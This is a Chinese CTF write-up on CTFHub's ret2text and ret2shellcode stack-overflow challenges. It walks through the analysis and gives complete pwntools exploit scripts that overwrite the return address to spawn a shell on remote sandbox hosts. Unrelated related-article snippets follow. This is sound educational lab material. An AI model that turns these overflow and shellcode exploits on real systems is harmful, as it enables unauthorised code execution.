CTFHub[PWN技能树]——栈溢出
一、ret2text
- 例行检查,64位程序,没有开启任何保护
- 本地运行一下情况,看看大概的情况
- 64位ida载入,检索程序里的字符串发现了bin/sh
要满足条件才可以执行,但是我们可以直接跳转到0x4007B8去system(‘/bin/sh’)
- 看main函数
第8行,gets函数读入没有限制数据的长度,明显的溢出,溢出ret到执行system(‘/bin/sh’)的地址即可
from pwn import *
#p=process('./pwn1')
p=remote("challenge-79d4d6a23952a67b.sandbox.ctfhub.com",24293)
payload='a'*(0x70+8)+p64(0x4007b8)
p.sendline(payload)
p.interactive()
二、ret2shellcode
- 例行检查,64位程序,仍然未开启任何保护
- 本地运行一下,看看大概的情况,可以看到,给了我们一个栈上的地址
- 64位ida载入,看main函数
一开始给了我们参数buf在栈上的地址,然后读入buf,12行,buf只有0x10,但是读入了0x400,明显的溢出漏洞 - 这题没有给我们提供现成的后门,加上没有nx保护,可以直接执行shellcode来获取shell
设置一下环境参数,之后直接用pwntools生成shellcode
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
- 有了shellcode,然后就是shellcode写到哪里的问题
本地运行的时候加上上图的代码,可以知道一开始输出了buf参数的地址,接收一下就获得了栈上的地址
buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15:-1], 16)
我们将shellcode写入ret,这样程序在返回的时候就直接去执行我们的shellcode了
所以我们的shellcode的地址是,0x10是buf的大小,第一个0x8是ebp,第二个是ret
shellcode_addr = buf_addr + 0x10+0x8+0x8
- shellcode有了,shellcode的地址也有了,现在只要往这个地址传入shellcode即可完成利用
payload = 'a' * 24 + p64(shellcode_addr) + shellcode
完整exp:
#coding=utf-8
from pwn import *
import re
#context.log_level = "debug"
context.arch = 'amd64'
p=remote("challenge-b841961e5e4c03f8.sandbox.ctfhub.com",37282)
#p=process('./pwn2')
#gdb.attach(p)
buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15:-1], 16)
shellcode_addr = buf_addr + 32
shellcode = asm(shellcraft.sh())
payload = 'a' * 24 + p64(shellcode_addr) + shellcode
p.recv()
p.sendline(payload)
p.interactive()
技能树的题目现在就出了这么多,出了新的继续更新,接下来尝试历年真题
CTFHub[PWN技能树]——栈溢出的更多相关文章
- CTFHub web技能树之RCE初步 命令注入+过滤cat
在一个大佬的突然丢了个题过来,于是去玩了玩rce的两道题 大佬的博客跳转链接在此->>>大佬召唤机 叫 命令注入 一上来就是源码出现,上面有个ping的地方 <?php $re ...
- CTFHub web技能树 RCE
一个简单的ping,还没有过滤,源码也给出来了 ls一下 127.0.0.1 & ls 有一个可疑的php文件,,,但是直接访问和 cat 都出不来... 试了几下反弹shell,没成功... ...
- pwn入门之栈溢出练习
本文原创作者:W1ngs,本文属i春秋原创奖励计划,未经许可禁止转载!前言:最近在入门pwn的栈溢出,做了一下jarvisoj里的一些ctf pwn题,感觉质量都很不错,难度循序渐进,把自己做题的思路 ...
- Linux pwn入门教程(1)——栈溢出基础
作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42241-1-1.html 0×00 函数的进入与返回 要想理解栈溢出,首先必须 ...
- PWN菜鸡入门之栈溢出 (2)—— ret2libc与动态链接库的关系
准备知识引用自https://www.freebuf.com/articles/rookie/182894.html 0×01 利用思路 ret2libc 这种攻击方式主要是针对 动态链接(Dynam ...
- PWN菜鸡入门之栈溢出(1)
栈溢出 一.基本概念: 函数调用栈情况见链接 基本准备: bss段可执行检测: gef➤ b main Breakpoint at . gef➤ r Starting program: /mnt/ ...
- CTF必备技能丨Linux Pwn入门教程——栈溢出基础
这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>>Linux ...
- 一步一步pwn路由器之wr940栈溢出漏洞分析与利用
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...
- ctfhub技能树—彩蛋
彩蛋题建议大家首先自己动手去找一找 做 好 准 备 后 再 看 下 文 ! 1.首页 使用域名查询工具查询子域名 2.公众号 此题关注ctfhub公众号即可拿到,不过多赘述. 3. ...
随机推荐
- [hdu7033]Typing Contest
为了避免浮点运算,不妨将$f_{i}$乘上$C=10^{2}$,问题即求$\max_{S\subseteq [1,n]}\frac{\sum_{i\in S}(C^{2}-(\sum_{j ...
- [bzoj4651]网格
考虑将最上中最左的跳蚤孤立,容易发现他的上面和左面没有跳蚤,因此只需要将他的右边和下边替换掉就可以了答案为-1有两种情况:1.c>=n*m-1;2.c=n*m-2且这两只跳蚤相邻对于其他情况,将 ...
- 数字逻辑实践3->EDA技术与Verilog设计
本文属于EDA技术概述类文章 1 EDA技术及其发展 概念 EDA(Electronic Design Automation),指的是以计算机为工作平台,以EDA软件工具为开发环境,以PLD期间或者A ...
- 详解在Linux中安装配置MySQL
最近在整理自己私人服务器上的各种阿猫阿狗,正好就顺手详细记录一下清理之后重装的步骤,今天先写点数据库的内容,关于在Linux中安装配置MySQL 安装环境 CentOS7 + MySQL5.7 下载安 ...
- CSP2020 自爆记
Day -1 - 2020.11.5 发现自己 dp 学得很烂--刷了几道 dp 找找感觉. 晚上死活睡不着,觉得要爆炸了. Day 0 - 2020.11.6 白天在学校觉得人飘了. 傍晚回来拿了准 ...
- P4550 收集邮票 与 灵异的期望
考前复习一下期望相关知识,这题的期望还是很巧妙的. 设 \(f_{i}\) 表示已经买到了 \(i\) 张不同的邮票的期望步数,\(g_{i}\) 表示表示已经买到了 \(i\) 张不同的邮票的期望花 ...
- Matlab 调用 Python 脚本
Matlab 调用 Python 脚本 最近尝试在 Matlab 环境中调用 Python 脚本,这里总结下碰到的几个问题. 1. Python 模块加载 在 Matlab 函数中,想要将 Pytho ...
- 68-Binary Tree Postorder Traversal
Binary Tree Postorder Traversal My Submissions QuestionEditorial Solution Total Accepted: 97358 Tota ...
- Vulnstack内网靶场5
实验环境搭建 漏洞详情 (qiyuanxuetang.net) "此次靶场虚拟机共用两个,一个外网一个内网,用来练习红队相关内容和方向,主要包括常规信息收集.Web攻防.代码审计.漏洞利用. ...
- 【模板】二分图最大匹配(匈牙利算法)/洛谷P3386
题目链接 https://www.luogu.com.cn/problem/P3386 题目大意 给定一个二分图,其左部点的个数为 \(n\),右部点的个数为 \(m\),边数为 \(e\),求其最大 ...